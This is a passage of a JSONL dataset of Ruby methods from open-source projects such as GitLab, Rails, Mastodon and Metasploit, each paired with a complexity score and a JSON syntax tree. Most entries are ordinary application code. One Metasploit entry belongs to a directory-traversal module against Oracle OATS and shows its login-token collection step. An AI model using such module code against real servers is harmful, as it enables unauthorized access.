end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"substitute_template_replacements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template_body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template_body\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*ISSUE_ID\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"issue_id\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*ISSUE_PATH\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"issue_path\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*NOTE_TEXT\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"note_text\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*ISSUE_DESCRIPTION\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"issue_description\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*SYSTEM_HEADER\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_header_message\"]},\"to_s\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*SYSTEM_FOOTER\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_footer_message\"]},\"to_s\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*UNSUBSCRIBE_URL\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"unsubscribe_sent_notification_url\",{\"type\":\"ivar\",\"children\":[\"@sent_notification\"]}]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*ADDITIONAL_TEXT\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_desk_email_additional_text\"]},\"to_s\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"%\\\\{\\\\s*ISSUE_URL\\\\s*\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"full_issue_url\"]}]}]}","id":"26ee1c74-8c5a-49df-afe2-920c605f3a67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/utils/lazy_attributes_spec.rb","start_line":14,"raw_source":"def initialize\n        @number = -> { 1 }\n        @reader_1 = 'reader_1'\n        @reader_2 = -> { 'reader_2' }\n        @incorrect_type = -> { :incorrect_type }\n        @accessor_2 = -> { 'accessor_2' }\n      end","complexity_score":9.28,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@number\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@reader_1\",{\"type\":\"str\",\"children\":[\"reader_1\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@reader_2\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"reader_2\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@incorrect_type\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"incorrect_type\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@accessor_2\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"accessor_2\"]}]}]}]}]}","id":"4d1ec873-7f3c-4967-b7b1-29a4c29a55b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/reminder.rb","start_line":62,"raw_source":"def completed?\n    completed_at.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"completed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"completed_at\"]},\"present?\"]}]}","id":"8c6ac2f6-d6e5-4d25-adcc-2449fa6e8249"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":613,"raw_source":"def test_in_batches_executes_range_queries_when_unconstrained\n    quoted_posts_id = Regexp.escape(quote_table_name(\"posts.id\"))\n\n    relations = assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \\S+ OFFSET \\S+\\z/i, count: 6) do\n      assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \\S+\\z/i, count: 1) do\n        Post.in_batches(of: 2).to_a\n      end\n    end\n\n    assert_queries_match(/WHERE #{quoted_posts_id} > .+ AND #{quoted_posts_id} <= .+/i) do\n      relations.each { |relation| assert_kind_of Post, relation.first }\n    end\n  end","complexity_score":18.83,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_executes_range_queries_when_unconstrained\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_posts_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"str\",\"children\":[\"posts.id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"relations\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" ASC LIMIT \\\\S+ OFFSET \\\\S+\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[6]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" ASC LIMIT \\\\S+\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},\"to_a\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"WHERE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" > .+ AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_posts_id\"]}]},{\"type\":\"str\",\"children\":[\" <= .+\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"first\"]}]}]}]}]}]}","id":"daad39b7-f32c-4796-bf66-cad770a7ebd4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/history.rb","start_line":43,"raw_source":"def add(account_id)\n      with_redis do |redis|\n        redis.pipelined do |pipeline|\n          pipeline.incrby(key_for(:uses), 1)\n          pipeline.pfadd(key_for(:accounts), account_id)\n          pipeline.expire(key_for(:uses), EXPIRE_AFTER)\n          pipeline.expire(key_for(:accounts), EXPIRE_AFTER)\n        end\n      end\n    end","complexity_score":15.78,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"incrby\",{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"sym\",\"children\":[\"uses\"]}]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"pfadd\",{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"lvar\",\"children\":[\"account_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"expire\",{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"sym\",\"children\":[\"uses\"]}]},{\"type\":\"const\",\"children\":[null,\"EXPIRE_AFTER\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"expire\",{\"type\":\"send\",\"children\":[null,\"key_for\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"const\",\"children\":[null,\"EXPIRE_AFTER\"]}]}]}]}]}]}","id":"6c575016-9804-4789-8264-c5c1dce3f7d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":708,"raw_source":"def mentioned_users(current_user = nil)\n    users = super\n\n    return users unless confidential?\n\n    Ability.users_that_can_read_internal_notes(users, resource_parent)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mentioned_users\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confidential?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"users_that_can_read_internal_notes\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[null,\"resource_parent\"]}]}]}]}","id":"6db8b12b-bfe7-46a9-97d1-cc7276aca143"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/doorkeeper_device_authorization_patch.rb","start_line":15,"raw_source":"def validate_scopes_match_configured\n      return false if scopes.blank?\n\n      Doorkeeper::OAuth::Helpers::ScopeChecker.valid?(\n        scope_str: scopes.to_s,\n        server_scopes: server.scopes,\n        app_scopes: client.scopes,\n        grant_type: Doorkeeper::DeviceAuthorizationGrant::OAuth::DEVICE_CODE\n      )\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_scopes_match_configured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scopes\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"OAuth\"]},\"Helpers\"]},\"ScopeChecker\"]},\"valid?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_str\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scopes\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"scopes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"scopes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grant_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"DeviceAuthorizationGrant\"]},\"OAuth\"]},\"DEVICE_CODE\"]}]}]}]}]}]}","id":"6ac7bac9-8d05-465b-ac90-b4df80e3424e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20170425202925_add_oembed_to_preview_cards.rb","start_line":4,"raw_source":"def change\n    change_table(:preview_cards, bulk: true) do |t|\n      t.column :type, :integer, default: 0, null: false\n      t.column :html, :text, null: false, default: ''\n      t.column :author_name, :string, null: false, default: ''\n      t.column :author_url, :string, null: false, default: ''\n      t.column :provider_name, :string, null: false, default: ''\n      t.column :provider_url, :string, null: false, default: ''\n      t.column :width, :integer, default: 0, null: false\n      t.column :height, :integer, default: 0, null: false\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change_table\",{\"type\":\"sym\",\"children\":[\"preview_cards\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"author_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"author_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"provider_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"provider_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"65dafaaf-0d0b-4095-98f6-3b61ae27f885"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb","start_line":563,"raw_source":"def cmd_get_timeouts(*args)\n    # Calling set without passing values is the same as\n    # getting all the current timeouts\n    timeouts = client.core.set_transport_timeouts\n    print_timeouts(timeouts)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_get_timeouts\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timeouts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"core\"]},\"set_transport_timeouts\"]}]},{\"type\":\"send\",\"children\":[null,\"print_timeouts\",{\"type\":\"lvar\",\"children\":[\"timeouts\"]}]}]}]}","id":"ee451b3a-7125-4d93-8c6b-752be48e28bc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module.rb","start_line":236,"raw_source":"def stage_refname\n      self.class.stage_refname\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stage_refname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"stage_refname\"]}]}","id":"8132533e-9962-44bd-a834-b1434b3c4f61"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/location_search/geocoding_service.rb","start_line":28,"raw_source":"def perform_geocoding_search(query)\n      results = Geocoder.search(query, limit: MAX_RESULTS)\n      return [] if results.blank?\n\n      normalize_geocoding_results(results)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_geocoding_search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Geocoder\"]},\"search\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"MAX_RESULTS\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"normalize_geocoding_results\",{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"f3b415ae-85d3-4019-adbe-e8a0ad1b7876"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/omniauth_callbacks_controller.rb","start_line":347,"raw_source":"def fail_auth0_login\n    fail_login_with_message(_('Wrong extern UID provided. Make sure Auth0 is configured correctly.'))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_auth0_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"fail_login_with_message\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Wrong extern UID provided. Make sure Auth0 is configured correctly.\"]}]}]}]}","id":"754781a2-2fad-47e7-b478-537d0720670a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic.rb","start_line":1177,"raw_source":"def change_category_to_id(category_id, silent: nil)\n    return false if private_message?\n\n    new_category_id = category_id.to_i\n    # if the category name is blank, reset the attribute\n    new_category_id = SiteSetting.uncategorized_category_id if new_category_id == 0\n\n    return true if self.category_id == new_category_id\n\n    cat = Category.find_by(id: new_category_id)\n    return false unless cat\n\n    reviewables.update_all(category_id: new_category_id)\n\n    changed_to_category(cat, silent: silent)\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change_category_to_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"silent\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"private_message?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"new_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_category_id\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"new_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"uncategorized_category_id\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"category_id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"new_category_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cat\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"new_category_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cat\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reviewables\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"new_category_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"changed_to_category\",{\"type\":\"lvar\",\"children\":[\"cat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silent\"]},{\"type\":\"lvar\",\"children\":[\"silent\"]}]}]}]}]}]}","id":"87eac54e-cbc7-4c96-8fbc-71707aca44e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/oats_downloadservlet_traversal.rb","start_line":135,"raw_source":"def prepare_auth_spec\n    collect_initial_spec\n    uri = normalize_uri(target_uri.path, 'olt', 'faces', 'login')\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => uri,\n      'cookie' => \"JSESSIONID=#{auth_spec.session_id}\",\n      'vars_get' =>\n        {\n          '_afrLoop' => auth_spec.loop_value,\n          '_afrWindowMode' => '0',\n          'Adf-Window-Id' => auth_spec.adf_window_id\n        },\n      'headers' =>\n        {\n          'Upgrade-Insecure-Requests' => '1'\n        }\n    })\n\n    fail_with(Failure::Unknown, 'No response from server') unless res\n    hidden_inputs = res.get_hidden_inputs.first\n    auth_spec.form_value = hidden_inputs['org.apache.myfaces.trinidad.faces.FORM']\n    auth_spec.view_state = hidden_inputs['javax.faces.ViewState']\n  end","complexity_score":26.7,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_auth_spec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collect_initial_spec\"]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"olt\"]},{\"type\":\"str\",\"children\":[\"faces\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"session_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_afrLoop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"loop_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_afrWindowMode\"]},{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Adf-Window-Id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_spec\"]},\"adf_window_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"